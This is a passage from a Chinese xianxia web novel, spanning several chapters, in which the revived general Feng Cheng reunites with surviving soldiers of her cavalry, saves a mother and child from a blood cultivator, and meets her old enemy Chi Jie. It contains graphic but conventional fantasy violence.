他说着,炫耀地举了举手臂,温不戒的药十分好,他的胳膊上布条落下,只见一片新生的皮肉。 封澄深吸一口气:“我知道了,多谢你。你是从哪里逃出来的,我替你算账。” 黄笳大喜,眼睛都亮了:“我倒想找他们算账,可他们头儿下手太狠了,打不过!” 封澄瞥了他一眼:“出息。” 黄笳道:“不过将军,咱还是别去了。您老好不容易回来,他们都想见见你。” 封澄垂眸,站起身来,拍了拍他,犹豫许久,才终于将憋在胸口的话问出了口:“……还剩多少人?” 黄笳的眼睛暗淡下去,片刻,他抬起脸来,依旧是闪闪发亮的眼睛:“八十八人,算我的话。” 这个数字令封澄心口一痛。 黄笳道:“还算多的了!一开始,大伙儿没打算能活下来,谁曾想能活下来这么多人。天机铁骑近些年来也不那么冲了,谁没事干往脸上挂个铁骑的招牌?大伙儿该吃饭吃饭,该睡觉睡觉,日子过得比将军在时还滋润些,至少不用日日起来晨练嘛。” 可是如此,他却对为何被血修掳走绝口不提。 封澄沉默许久。 天机铁骑身为天机主将亲军,有一个算一个,都是举世罕见的英才。 当年极盛时,有足足七千余人。 如今,只有八十八人。 几乎死尽了。 黄笳觑着封澄脸色不对,慌忙道:“天机铁骑也不是都在这里,还有好多人回了自己老家,现在做主将的那个崔家小子人并不很烂,请辞的,他都放了!” 封澄看着他手忙脚乱的样子,叹了口气,道:“如今这八十八人靠什么作活?” 黄笳心虚地错开视线。 封澄察觉不对,危险地眯了眯眼睛。 他支支吾吾不肯说,封澄沉下脸来:“有什么说不得的!怕我抢生意不成!” 话音方落,黄笳慌不择言道:“岂敢岂敢!我说,大伙儿都是有点立身本事的,平时走街串巷,便顺手做些活儿,再赚些银子。” 封澄一听便觉不对:“受人追杀,四处流窜,无立足之地,也难以打出名气,即便是顺手赚了银子,又岂能养足这么大一群人?说实话。” 黄笳越是支支吾吾,封澄越是打算刨根问底,被逼视半晌,黄笳终于服软了。 他道:“‘……其实是有银子偷偷来的,一般便放到拉舍尔部旧址,封着灵力,得带着将军当年的令牌去破才行。” 封澄看着他,黄笳迎着封澄视线,硬着头皮道:“数额颇大,足够养家,附着的灵力极寒彻骨。” 封澄:“……” 她忽然不太想听了。 黄笳看封澄表情,破罐子破摔道:“我们都觉得是负雪先生来的!这是将军硬要我说的,我可没主动说啊。” 黄笳絮絮道:“负雪先生还想请我们入赵家暂避,我们商量了一下,觉得不行。他本身便担着教养您老的罪名,无数人等着抓他定罪,只是苦于没有服众之证,我们这些人若是被他带走了,一着不慎,不就害了他嘛。” 很好,十万两银子上又加了一笔,还附了雪中送炭的人情,这辈子都还不完。 出钱养天机军,尚且能算得上负雪先生忧心国事,而出钱养叛逃流亡的天机铁骑,就不好说了。 这是她的亲卫。 封澄沉默地想,这下欠的情,得回去好好谢谢他。 思及此处,封澄长长地叹了一口气。 封澄要问的东西差不多了,于是黄笳便开口了:“将军,你这些年去哪里了?毫无音信,我们都当你死了。” 这是第二个这么问她的人了,封澄想了想,道:“在一个小屋子里睡了五十年,做了一个很久的梦。” 黄笳喔了一声,从善如流地接受了封澄的这般解释,紧接着,他又疑惑道:“睡了五十年,将军不起来小解吗?小解的时候,不就醒了吗?” 封澄:“……” 黄笳哈哈一笑,道:“将军,这么说,搪塞别人还行,搪塞我们便不够了。当年一道在长煌拼杀,我们看得一清二楚,将军当年的确是死了。” 这人看着莽撞,实则倒还挺细心,封澄无奈笑笑,黄笳又道:“不过将军回来便好,总之持劫已死,我们一道,谁也不怕。” 他不去问一个死人是如何复生,封澄也不必回答。 沉默许久,封澄看着他。 黄笳心头咯噔一声:“怎么?” 封澄道:“当年持劫,没有死。” 看着黄笳的脸色,封澄将命咒一事据实相告,半晌,道:“我醒来往长煌大原走,所求不为别的,一是想重组天机铁骑,二是要去长煌深处看看,当年被封在里面灵力尽失的持劫,去哪里了。” 第89章 第89章遵命 黄笳的脸有些怔怔的,他哦了一声,默默地端起茶杯喝了一口,不知在想什么。 封澄道:“总归要从长计议了——此地养伤不宜,我先送你回去。” 她起身,推开了屋子的门,正向前走,身后却传来一声叫住了她:“将军,你回来之后,我们是不是就不用到处逃命了?” 声音中隐隐含着殷切希冀。 封澄并不回头,她想了想,道:“此后大概会比逃亡时更为凶险,上了我这条贼船,可就下不来了。” 黄笳眼睛骤然亮起,他用力点了点头。 温不戒的药远比她想象中好用得多,方才交谈的时间,已经足够黄笳生龙活虎地站了起来,封澄推门,想向温 不戒道谢,顺便道个别,谁料门口空空荡荡,竟然一个人都没有。 她怔了怔,随即叹了口气。 并不意外。 师叔游医,从来都是神龙见首不见尾的。细细想来,这师叔安稳留下的日子,竟只有她在洛京时的一年。 “天下游医都是这脾气么?”封澄心道,“不知温不戒现下去哪了,照他医术,这么多年早该名扬天下了。” 她回头道:“天机铁骑现下驻地何处?” 黄笳一听封澄要去见天机铁骑,登时快步走来,看向封澄的眼睛亮亮的,是要能够溢出来的仰慕喜悦。 修行之人寿数绵长,可光阴渺然而过,身体虽不变老,心却是会老的。 这么多年来,他亲眼看着壮志之人衰老萎靡,天真之人心生奸计,红颜皮下成枯骨,热血成坚冰。 没有人是毫无变化的,所有人都被这五十年岁月摧残,在无望的等待里,渐渐向着枯朽老去。 唯有这被钉死在棺中的早亡将军,是被丢在那段意气飞扬的岁月里,不可动摇的锚。 黄笳没来由地相信,封澄归来,天机铁骑一定会从绝路里杀出来。 杀得天下震惊。 封澄走出几步,发觉身后之人没有跟上,不免回头疑惑道:“怎么还不说话,驻地在哪?” 黄笳连忙道:“寿绵,现在在寿绵的村子里,大伙儿都藏着呢。” 寿绵二字令封澄怔了怔,她心下想:“那何家的几个人,是不是也跑到寿绵去了?” *** 由于出来得匆忙,封澄身上并没有带多少银子,身上值钱的只有赵负雪挂在她身上的簪子首饰等物,前些日子陆续被她贱卖了换杂用了。 封澄走了两步,看着伤势未愈的黄笳,想了想,还是打算买辆车子。她嘱咐黄笳在原地等候,便去了一户门前拴着牛车的农家,敲开了他的栅栏。 她对院中男子道:“用这个,换你的牛车,行不行?” 手中的簪子玉质莹润,触手生温,上有肉眼难辨的精微细雕,无论是玉材还是工艺,都是外行人也可以分辨的好东西,那坐在院中垒牛粪饼的男子登时傻了眼,他盯着簪子,瞧了半日,却叹了口气道:“是好东西,只是也太贵重了些,拿着我们也无处花用。” 封澄很理解,于是转身欲走,谁料身后忽然传来一声女声:“那可是南水燕玉?” 闻言,封澄有些疑惑,她回过头,看见一俏生生的女子从屋中走出,袅袅婷婷地走过来,不着痕迹地打量她一眼,才含笑道:“这东西稀罕,只在燕地有些矿脉,尾料都值千金之数,瞧姑娘手上这根,当是头品的良玉。” 燕地有玉髓,极好的玉却不多,南水燕算一个。 可南水燕这种东西,见过的人都不多,连封澄都不知这是南水燕,一个农户家的妇人,是如何遥遥一眼就得以认出的? 男子忙道:“嘉儿,你怎么出来了?快进去,莫受了产后之风。” 封澄留心一看,发觉这女子肚腹微微凸,显然是产后未消下的模样。 嘉儿置若罔闻,她素手接过封澄手中玉簪,小心翼翼,手指在上流连,封澄注意到,作为一个农妇,她的手指似乎过于纤细柔嫩了些。 男子吓了一跳,忙上来,劈手便夺了女子手中玉簪,带着一脸讨好的笑把簪子还给了封澄:“妇人愚昧,生了孩子还不懂事,一时冒犯,姑娘且收好快走吧。” 她一动不动地被丈夫夺走簪子,一动不动地受了这番愚昧的奚落,敛眸叹道:“这么好的南水燕,是去年新供给洛京的,听闻只送到几位大人手中,连皇帝都未曾受用得到。如今在长煌见它,一时有些怅惘,如归昨日。” 说着一番令人不懂的话,嘉儿被男人坚实的手臂揽着,袅袅婷婷地回了屋子,那男人边走边回头道:“冒犯了冒犯了,我娘们儿生了孩子便有些疯疯癫癫。” 话虽这么说,可他却在几次三番说自己有孩儿时,口中是掩不住的欣喜。 封澄将一切收归眼底,她看着走向屋子的夫妻二人,五指收起,紧紧地攥着南水燕。 在嘉儿即将踏进屋子的刹那,封澄开口道:“夫人美貌,想必是个漂亮孩子。” 男人憨厚一笑,道了声那是,便揽着嘉儿回了屋子。 虽说奇怪,封澄提步要离去,正要将簪子插进发中时,她忽觉什么不对。 照着黄笳的说法,赵家式微,赵负雪这几十年都没什么音讯,众人险些以为他死了。 可去年上供的、最好的南水燕,连皇帝都享不到,怎么送到了他的手上? 所幸寿绵离此处不远,封澄还是找到了车马行,将重伤号黄笳送到了寿绵。 来到寿绵时,天色已经墨黑了。 黄笳兴奋地伸出头去,看着寿绵颇为热闹的街道,不知看到了什么,眼睛一亮,回头道:“将军,前面那处包子铺就是咱们人的产业,皮薄馅大,大伙儿吃了都说好!” 封澄托着腮,抬起眼,顺着他挑起的车帘看去,果然,那包子摆在外面,方一揭开笼,便引得路人驻足。 与长煌大原的其他地相比,寿绵是个地如其名的好地方,几乎能称得上安居乐业,平静得几乎不像长煌大原的地方。 黑灯瞎火中,车子停在了一处平平无奇的民宅前。 黄笳一见这民宅,仿佛在外迷路的看门犬找回了自己的家门一样,当即摇着尾巴兴冲冲地冲向了大门,封澄坐在马车上,一时半会儿,却迈不动下车的脚。 黄笳在门口喊道:“将军,将军快下来,咱们到了。” 封澄屁。股下仿佛坠了千斤坠,闻言,纠结片刻,还是深吸一口气,伸手掀开了车帘。 忽然传来一女子风风火火的叫恼声:“这次是大活计,只准拎得动兵器的去,寸金?寸金!快点滚出来。” 那边黄笳还没来得及敲门,只见一队脸色严肃的修士举着火把,匆忙地从大门冲出来:“寸金已经提前去了!” 黄笳站在大门口,大眼瞪小眼地与众人对视片刻。 寂静。 几乎能听见火把的声音。 秦楚的声音骤然穿破了封澄的耳膜:“黄二!” 封澄一哆嗦,猛地捂住了耳朵,只听外面一阵鸡飞狗跳之声。 秦楚的面上急色明显,她把黄二拎过来,左左右右看了看,见人没什么事,便把他往院子里一推,又给了他一柄火把:“进去找老头治伤,其他事等我回来再说,走!” 说着,一行人举着火把,又大马金刀地走了。 院子中,一时只有封澄与车下黄笳面面相觑,片刻,黄笳尬笑两声:“楚姐姐这两年越发急性子了,我还没来得及说话呢。” 思及当年温文尔雅的副手,又看看现在的秦楚,封澄莫名有点儿心疼,她偏过头,问黄笳道:“她这么急,是要去哪里?” 黄笳低头想了想,眼睛一亮:“这些年楚姐姐一直带着能打的几个人,接些**、看家护院的活儿,想来这就是前些日子说的护卫之事了。 这般说着,黄笳却有些疑惑地向屋中看了看:“可区区护院,怎么能让楚姐姐带走这么多人?” 垂眸片刻,封澄抬起眼来,目光被黄笳手里的火把映得隐隐发亮。 一时之间,黄笳恍惚,分不清这是火把映在了封澄眼中,还是封澄眼底本身就点着野火。 “走,去看看楚楚这几年练得怎么样。” 黄笳一怔,随即反应过来,大声道:“遵命!” *** 秦楚方方带人来到寿绵盛家之前,便被眼前的惨象骇了一下。 在盛家大门前,横七竖八躺着七八具无头尸体,皆是被一刀断头,鲜红的血喷出来,喷得门口的石狮子都是红的。 如若只是断头,绝不会骇到见惯了此等场面的天机铁骑。 肉,骨,内脏,从这几个无头尸体上被拆了出来,随意地抛在大门门口,地上红红白白黄黄,一滩一滩,几乎叫人无法下脚。 一人举火把蹲下细看, 片刻,铁青着脸抬起脸来,对秦楚道:“有齿痕,有牙印。” 倏尔,秦楚恨恨地咬牙:“血修!!!” 如此死相,如此吃相,除了血修,还有什么? 新仇旧恨齐齐涌上心头,秦楚猛地拔出腰间长剑,震声道:“阵修在外结阵!里面血修,一个都不能放过!” 说罢,她大步流星,闯入了被鲜血糊满的大门。 第90章 第90章太好了 秦楚的脸好似一张生动的怒目阎罗,一闯入院子,别的不说,先把院中几只漆黑剧犬吓得呜呜狂吠,秦楚瞥了一眼,见那几只恶犬嘴角皆沾着血迹,左手随意一抬,几只恶犬霎时呆若木鸡,随即,缓缓地倒了下去。 、 她看也不看,怒声道:“先搜活口,血修格杀勿论!” 天机铁骑早已在这几十年的流亡中磨练出了非比寻常的默契,当机立断地,数人如暗影般嗖嗖而去,秦楚戾气深重地盯着地上血肉,心头不由得浮上了些不怎么好的回忆。 夜空乌黑,上弦月冷冷勾在天幕上,盛家大宅中时不时传来一声惨叫,秦楚鼻尖耸动,在浓重的血气中准确地捕捉到了寸金身上的灵力。 凭着多年默契,她准确地向灵力之源掠去。 空气中的血腥味随着她的接近而越来越烈,秦楚清晰地看到,地上处处崩坍,草木石墙倒塌,遍地狼藉间,还有阴阴的、不详的血迹。 血迹引向了角落的柴房。 她落下身来,双目中满是警惕之色,她谨慎地拔剑,一步一步,小心地走向了一片漆黑的柴房。 足尖踏入柴房的刹那,秦楚的耳边倏尔响起一道嗡鸣,她心头一凛——此地被阵围住了! 猛地抬头,耳边陡然传来一道熟悉的怒音:“秦楚,逃!” 秦楚暗骂一声,抬手一个火决。 谁料在她起火决的一瞬间,一条蟒蛇似的血红锁链便从一片漆黑里猝然蹿了出来,秦楚眼神一凝,抬剑格挡,锁链与长剑相击,铿然迸裂出一片火星,猝然照亮了鬼魅似逼到面前的、苍白的脸。 秦楚;“!” 她抬手咬血,默念镇字诀,悍然钉向那苍白的脸,那血修倒是一怔,懒洋洋抽身回落,若有所思道:“中水秦家的人?” 一片黑灯瞎火,伸手不见五指,秦楚喘息不已,扬声道:“知道还不给你祖宗磕头。” 黑夜里传来一声嗤笑,那血修一扬手,只闻几道扑扑之声,柴房中霎时被烛火照明,那血修顶着一张面若好女的白脸,一笑,寒气森然。 他眯着眼睛,好似一只皮毛美丽的猫:“那更该杀了,修行世家的硬骨头,折起来都有味儿。” 秦楚看见,一旁的地上,跪着一个年轻高大的男子,背后躲着一个抱着孩子的妇人,那孩子木木地睁着双眼,呆呆的。 男子双目空茫,他强撑着把二人护在身后,靠着声音,竭力辨认着秦楚的方位:“不是让你逃吗,你跟过来做什么!” 寸金的脚下叮叮当当撒着一片破损的金属,秦楚眼尖,一眼便能辨出,那是当年名震长煌的兵器。 十八金刀,寸寸为金。 秦楚怔怔地抬起头。 用飞刀者,必有超凡眼力。 而这十八飞刀的主人,已经失去了他的双眼。 刹那间,难以言喻的悲痛从秦楚心底蜂拥而上,她悲愤道:“我杀了你!!” 剑光扑天而来,那白脸血修却不紧不慢,他道:“今日,我家中算命的假道士给我卜了一卦,道我今日出门,有血光之灾。” 血修手一挥,锁链便将漫天剑光一卷,秦楚尚没来得及反应,便见他信手一推。 她瞳孔骤然紧缩,陡然被甩出八丈远! 血修居高临下地看着秦楚被拍飞出去,懒懒地收手,嗤笑道:“结果——就这。” 躲在寸金背后的妇人抖得更厉害了,她死死地抱着怀里孩子,一双眼睛中含着惧怕,更多的却是坚定果决:“……为什么要杀我们。” 白脸血修手里晃着铁链,笑道:“这我倒要反问一下了——何夫人,洛京何家与长煌大原隔着千里,你放着大家夫人不做,跑这穷乡僻壤里头吃沙子,做什么呢?” 闻言,秦楚先怔住了;“何家人?” 寸金喘息着点了点头。 陡然间,秦楚的牙恨恨地咬了下去,可身体却还是强撑着站了起来,又举起了剑:“蝗虫似的,哪个地方都有姓何的东西!” 屋中的血腥味越发的浓了起来。 何夫人咬牙道:“她只是个孩子!庄儿已经改姓到盛家门下,与何家没有关系了!” 闻言,白脸血修仿佛听到了什么头号笑话似的,他睁大了眼,道:“这事儿,你得和上面的大人们说,何家大人和我老大都要你去死,我能怎么说?说这小丫头改到盛家门下了,跟何家没关系了?” 他举起了锁链,悲悯道:“这俩硬茬可真不好对付,倘若是别的人来清理门户,你便能活命了——只可惜,今天我有空。” 电光火石间,寸金与秦楚勃然变色,竭力运起身上灵力,以平生仅有的速度冲到这对母女之前。 “拦不住。” 二人不约而同地想着。 血色锁链泛着不祥的光,白脸血修居高临下,目光中露出几分懒洋洋的无趣。 妇人死死地揽住了怀里小姑娘,闭上了眼睛。 谁料预料中的痛楚并没有如期而至,取而代之的,是头顶上骤然明亮的夜空。 新鲜的、夜露的气息顺着屋顶的大洞蜂拥而入,随之一道而来的,还有一道懒洋洋的笑音。 “谁盖的王八盖儿,”那人笑道,“险些叫我找不着。” 白脸血修陡然变色,他豁然抬起头来,声音中隐隐发抖:“什么人!” 回答他的是一杆刺血的长枪。 “将死之人,”她道,“罗里吧嗦。” 骤然间,柴房摇摇欲坠的顶棚轰隆塌下,血色长枪迎面向他面上刺去,白脸血修甚至来不及作任何反击,那无往不利的铁链竟然只能勉强作防御之态,将将拦下了她的这一枪。 紧接着,他一退后,血色长枪便迎面而来,霎时间,他眼中竟然只能见得到围绕着这杆血色长枪的轰然煞气。 这煞气令他不敢反抗,甚至膝盖上传来熟悉的软意。 是血修。 还是远在他之上的血修。 熟悉的、阔别已久的。 真稀奇啊,乌言想,这种令人根本生不起反抗之心的煞气,竟然还会再次出现在他的面前。 少年时,也是这样的一杆长枪,除下了他的全身衣物,夺走了他的随身腰牌,将他打入了不堪回首的深渊之中。 短短一瞬,乌言的脑中想了许多。 血修的手段是十分可怖的,对起外人是,对起拖了后腿的废物,也是可怖。 他丢失令牌,令血修地牢被轻而易举地攻破,几乎险些害死齐遥。 种种件件,翻山似的算在了他的头上。 在蒙受着来自血修的炼狱时,在玩命修行,断了骨头,却被齐遥派到长煌这种地方。 在恨意盈然时。 他心中却病态地贪恋着痛楚的开始。 长枪令他浑身赤/裸,冷风与她冷冷的目光一同扎在他皮肤上,那挥之不去的战栗。 如此耻辱,如此痛苦。 如此令人沉迷,如此挣扎难逃。 乌言的瞳孔折射着暗色的枪尖,而他的目光,却鬼迷心窍地看向了使枪的主人。 一双冷冷的,却总令人觉得笑意盈盈的桃花眼。 寸金与秦楚眼睛缓缓地睁大。 封澄一枪把人挑飞了事,柴房角落传来重物落地的闷响,她站在原地,居高临下地迎着寸金与秦楚的投来的视线。 六目相对间,一片死寂。 封澄看着秦楚怔怔地爬了起来,怔怔地向前踉跄了两步,带着一副梦境似的、茫然而无措的表情,傻傻地看着她,仿佛从来没有见过她这个人一样。 她 眨了眨眼,随即低头,清了清嗓子,道:“楚楚,是我。” 秦楚看着她,眼眶里便开始一颗一颗地往下滚泪珠,她眼睛本来就极大,连带着落下的泪都比旁人更有分量些,封澄甚至觉得,地板都要被她的泪珠子砸塌了。 她抬起手来,小心翼翼,道:“我回来了。” 秦楚看着她,原本一声不吭地落泪,忽然间,委屈与说不出的怒意便爬上了了她的脸。 “……你怎么才回来。” 一介女将,在封澄死后,几乎扛起了整个天机军的逃亡生涯。 可此时此刻,她的脸上却如孩子般流满了泪水。 “你怎么才回来啊!!” 封澄被她哭得手足无措,擦也不是,不擦也不是,幸好此时门口一动,紧接着一个身影便踉踉跄跄地推门进来,兴冲冲道;“楚楚姐,刚才没来得及和你说,封将军她……” 话音未落,便撞上了秦楚含怒的泪眼,他识相地住了嘴,一缩脖子,跑到寸金面前宽慰那对母女去了。 封澄从前与秦楚身量接近,如今面对面泪眼相对时,她却诡异地发现了一点。 ……秦楚好像比她高了一点点。 不动声色地,封澄悄无声息地踮着脚,将秦楚按在了自己的肩膀上,痛快道:“哭吧,我回来了,以后若要哭,只管痛快哭。” 秦楚浑然不觉,她恨恨地咬牙,随后抱着封澄,嚎啕大哭起来。 “你知不知道我有多辛苦!”她大哭道,“你知不知道我找你找得快疯了!” 封澄顺着她的后背,心中揪心又痛楚,她抚着秦楚的后背,轻声宽慰道:“对不住。” “我走得太匆忙,是我不好。” “对不住。” 一旁的寸金沉默不已,他睁着空茫的眼睛,循声而望去,低头问身边的黄笳:“将军吗?” 黄笳看着他空洞洞的眼睛,沉默着点了点头,片刻,又意识到什么,强抑住喉头的哽塞,道:“是,封将军。” 寸金怔了怔,随即轻轻地叹了一口气。 “真不好,”他道,“若是晚一日瞎,我便能看看将军如今是什么模样了。” 黄笳再也抑制不住,哽咽道:“……她一切如旧,哪儿也没变。” 寸金缓缓地合上眼睛。 “太好了。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 90-100 第91章 第91章好久不见 封澄将目光移向了寸金,看着他的眼睛,一时之间有些沉默。 寸金倒是很敏锐,他对封澄笑了笑,指了指自己的眼睛,很洒脱道:“看不见了。” 封澄默了默,她抬起眼,走到寸金面前,寸金察觉到她的靠近,在封澄走过来时,手摸索着按到她的臂膀上。 随即,顺着她的肩膀向下,轻轻地托起她的手,按在了自己的眼睛上。 “万幸,它还能感觉到将军。” 封澄怔了怔,寸金笑道:“天机左骁卫副将,寸金,候将军归来。” 他的声音轻得很,可却如石头似的砸到了封澄的心底,封澄盯着他的眼睛,随即,缓缓地将手收了回来,认真道:“我会想办法治好你的眼睛。” 随即,她的目光极冷地飘到了柴房中的一处,乌言被砸得半日回不过神来,正艰难地呛出喉咙中那口淤血,抬眼却见封澄走了过来。 血色长枪被她拖在地上,发出了一阵令人心生不详的尖锐声响。 不好。 刹那间,这些年在长煌大原摸爬滚打的本能令乌言就地一滚,只见一声砖石迸裂的爆响,他方才躺着的石板被轰出一道骇人无比的裂痕,他惊魂未定,一扭头,恰恰对上封澄那张阴沉无比的脸。 乌言原本旧惨白的脸更加惨白,他瘫坐在地上,不住地往后挪,原本软在地上的血色锁链不知何时已成了一滩乌黑的血水,散发着腐臭的味道。 “不,你不能杀了我,”他的后背触上了坚实的墙壁,乌言心中一片惨然。 “天底下没有我不能的事。” 封澄的长枪对准他的眼睛。 “不过你说对了,若这么痛快地杀了你,不足。” 话音方落,她的枪尖无比迅捷地落到乌言的面前,乌言脑中警铃大作,可还未来得及反应,眼珠便骤然传来一阵剧痛。 他雪白的脸皮上缓缓地流下了一行乌黑的血。 反应过来发生什么后,乌言死死地捂住眼眶,发出一阵鬼哭狼嚎的的厉声惨叫。 这杆长枪捅穿他的脑髓,似乎比捅穿他的眼眶更容易些,乌言滚在地上,不住地打滚,其声之惨烈,令何夫人不由得偏过头去,伸手掩住了庄儿的耳朵。 黄笳心有戚戚,可更多的却是愤愤,一旁的秦楚更是叫出声来:“还有一只眼睛,将军,他毁了寸金两只眼!” 二人的心中绝不解气,哪怕是乌言浑身上下长满了眼睛,被封澄挨个拔出来踩烂也不解气, 寸金是从天机院里头名结业的天机师,十八金刀堪称独步天下,这样一个人的眼睛,岂是血修那双狗眼能相提并论的? 乌言痛得抖抖索索,可此时此刻,却早从寸金一行的话音里分辨出了这将军代指何人。 经年的折磨给了他屏蔽痛觉的能力,他颤抖着抬起头来,仅剩的一只眼睛一点一点,亮得骇人。 这目光里有痛楚,有凶恶,更多的却是说不出的恍然大悟之色。 “……能令天机铁骑余孽称将军的,”他道,“穷遍天下,也只有一人。” “封……封将军,久仰大名。” 怪不得,怪不得。 乌言的心头被狂喜所侵袭,他抬起头来,死死地盯着封澄,目光简直称得上痴迷:“竟然是你……果然是你。” 满寻过天下的血修,他无数次地期待着与对方的重逢,可时至如今,乌言才后知后觉地发现,原来无数次,险些就见上 面了。 乌言甚至有些可惜——当年若是被天机军围杀,别跑就好了。 封澄听不明白,她也懒得去想,于是一枪穿了他琵琶骨,将他钉死在了墙上,懒洋洋道:“怎么死,你说了算——寸金。” 寸金不聚焦的眼睛眯了眯,半晌,笑了起来:“还是像旧日那般吧,把马牵出来,拖。” 血修与天机军积怨已久。 从前封澄在外抓了血修,按律是要交给天牢审问关押的。 可关到天牢里头,她一个驻扎长煌的边防将军,难道还能去天牢瞅一瞅这血修被关了还是杀了还是放了? 于是,封澄便想了个法子。 人,该送还是送,但是这个送的法子,上面就没规定了。 封澄把血修拖在马后,一路疾驰,专挑嶙峋之地纵马奔逃,如此下来,血修即便是铁打的皮肉,也经不得这番拖拉,通常人还没到天牢,便被封澄在路上拖死了。 这般行事,令上头的血修每每气得倒仰,偏生封澄又没实打实动手,该送的也是送了,没在明面上杀人,难道他们还敢叫这尊煞神好生把人供到天牢去? 久而久之,血修竟然也横空出了几分血气,颇有些宁愿站着死,也不要被天机军硬生生拖死的骨气。 乌言闻言,竟然倒反天罡地笑了起来,他冲着寸金,露出了鄙夷之色:“你也配定下我的死法,手下败将。” 但凡有些血气的将领,在听到这种话时,大概都会有受辱或者脸红脖子粗之意,谁料寸金却不急不恼,他循声望去,微微笑了笑。 “手下败将又如何 ,我输了,却有将军可依。” 乌言的脸色霎时有些铁青。 寸金顿了顿,接着道:“倒是你……你若死了,你的将军替你出气报仇吗?” 乌言当即被寸金这副气定神闲的样子气了个倒仰,他心头火起,不知是恼什么,恨不得上去啃了寸金:“你要不要脸!” 寸金这副嘴脸简直让乌言难以置信,如果说方才的寸金和穷途末路的野狼一样,那么现在就像是一只仗势欺人的家犬。 仗的那个势,还是最令他心痒难耐的势。 如此模样,如何令乌言不抓狂? 寸金又笑笑,一言不发,封澄把手抬了抬,几掌折断了他手臂大腿的骨骼,把人交给了寸金:“拖着出去,一回儿牵在你的马上,叫他看着自己怎么死的。” 乌言痛得几乎昏死过去,偏偏不知哪来的邪劲,硬是拿那只完好的眼睛死死地盯着封澄,一声也没吭。 一行人推开柴房的门,向外而去,何家妇人方一起身,便哎呀一声。 众人回头看去,只见她双腿瑟瑟,手软如绵,显然是一副惊吓过度的模样。 黄笳尚一身绷带,没几块好皮肉,见状,还是小心走到何家妇人面前,道:“夫人受了惊吓,我抱着孩子罢。” 何家妇人勉强笑了笑,抖着手,将庄儿递给了黄笳:“劳烦小将军。” 黄笳被这一声小将军喊得脸上一红,挠着头,嘿嘿一笑。 柴房外的血气扑鼻,显然已经是血修作乱的样子,秦楚上来报道:“受袭的是当地大族,姓盛,常年与世无争,乐善好施,名声很好,家中也有修士护院。前几日嫁到何家的女儿盛小亭回来避难,盛家怕人手不够,于是向天机铁骑求援。” 二人边走,秦楚边道:“寸金收信,即刻带着几个阵修布阵,谁料阵未布完,血修便闯了盛家,领头的这个乌言凶名远扬,手下的血修也是个顶个的麻烦,我们到的时候已经……” 封澄点了点头,示意自己知道了:“不妨事,你带了多少人来。” 秦楚闻言,干脆利落道;“阵修十二,其余三十七,人手不够,这群血修棘手得很,盛家应当是不剩什么活口了。” 封澄皱眉道:“阵修起阵,剩下的撤出去,闪远些。” 秦楚的眼睛登时一亮,她意识到封澄要做什么,当即道;“遵命。” 紧接着,秦楚便从怀中掏出一只小小的铜哨子,尖锐而刺耳的声音霎时划破了整个夜空,阵内阵外的天机铁骑皆是一怔。 即便是心中疑惑,阵外的阵修还是动了手,片刻,东南角处缓缓地露出了一处透光的缝隙,阵中修士停下手中交锋,有些疑惑,却还是且战且退。 在最后一个修士撤离出去的刹那,阵中黑云般的煞气冲天而起。 这煞气仿佛一条狰狞的黑龙,盘旋着向云端冲去,滚滚黑云,仿佛天谴。 它直直地指向了云端,浓黑夜色竟然不及这黑云半分。 如此之嚣张,如此之凶煞。 阵中血修满脸茫然,他们缓缓地住了手,仰起头,呆呆地看着天上的煞气黑云。 “……好熟悉。”一血修仰望着黑云,呆呆道。 霎那间,一道血光刺破了他的双眼,他头颅滚落在地时,甚至只能看到一只狰狞的巨角。 紧接着,又是嚓嚓几声,几乎同时响在了盛家院落的四处。 “谁在那——呃!” 又是一道血光喷涌而出。 她的影子仿佛连视线都难以捕捉,就连眼力最强的十八金刀都未必能追逐到她的身影,原本就在这煞气下瑟瑟臣服的血修更是如毫无反抗之力的绵羊一样,不过几个转眼,这群为祸一方的血修竟然这么嚓嚓地全部掉了脑袋! 乌言看着封澄串过来一串人头,随手一丢,丢在地上,随即懒洋洋地从半人半兽的样子化作了那副面若桃花的女子模样,她伸了伸懒腰,感受着原装身体收放自如的灵力与煞气,痛快道:“行了,就剩这一个,回去拴在马上。” 封澄现在这么一想,只觉得过去过的什么日子,身体还是原封不动的才好,砍人都痛快许多。 见状,黄笳再也忍不住心头澎湃——如此流畅的身手,如此睥睨天下的战斗力! 秦楚好笑地看着黄笳,他抱着庄儿,兴奋地迎上去,要将胸中敬仰之意对封澄倾盆而出,刚清了清嗓子,却骤然脸色一变。 她看着黄笳的脸由白骤然变青,由青骤然变紫,陡然间,他眼中变猝然失了神采,闪电似的拔出腰间小刀,向着庄儿的喉咙要害而去。 眼前发生的一切好似成了慢动作,她看见封澄陡然变了脸色,枪尖放慢几千倍似的冲来;看见寸金闻声而变,下意识地向腰间摸去;又看见自己拿着手里的剑,竭尽全力地向着黄笳砍去。 而这一切都太慢了,而黄笳离庄儿实在太近了。 即便是能在几息间清扫数十血修的速度,在近在咫尺的发难下,也太慢了。 秦楚无望地抬头,望着庄儿浑然不觉的睡脸。 “——庄儿!” 可刀尖并没有落在庄儿的喉咙上。 一双绵软无力的手,用掌骨的支撑,组织了刀尖的继续下落。 可在刀尖剖出伤口的瞬间,漆黑的魔气便顺着何家妇人的掌骨一路侵袭而上,转瞬间,她嘴唇乌紫,一句话也未出口,便软塌塌地倒在了地上,停止呼吸。 封澄觉得自己的呼吸也随着何夫人的死而停止了。 哪来的魔气? 黄笳怎么了? 她在做梦吗? 夜空中传来一道笑音,声音熟悉得令封澄忍不住战栗起来。 “听说你回来了,”他仿佛一只夜枭,手臂上的蛇鳞在月色下折射着骇人的寒光,“喜欢我送你的这份大礼吗?” 封澄极慢地回过头去。 “——持劫。” 持劫笑了笑,打了个响指,黄笳应声软倒在地;“好久不见。” 第92章 第92章对不住,仙人(前世…… 封澄背着剑,挑了挑眉,对等在门口的温不戒道:“呀,面具仙人。” 此时此刻,她已然穿上了鹅黄的天机子弟的校服——得力于赵负雪的看顾,她这些日子长了不少,终于能套上最小号的校服了。 身着绛紫常服的温不戒微微垂了垂眼睛,隐在密银面具下的眼睛笑了笑:“要出门吗——衣服很合身。” 天机校服,从赤色滚边到紫色滚边,有七段,分在不同课室修行。 封澄努努嘴道:“那仙人在里面呢,昨夜好吓人,半个院子都冻了,他膝盖怎么了?前几日还能站起来,今早便不能走了。” 温不戒垂眸,将眼中异色轻轻掩在眼底。 半晌,他慢慢开口:“当年他有事要求神佛,不知求到哪路邪神的荒庙里去了,雪地里跪了小半月,回来便落了病根。” 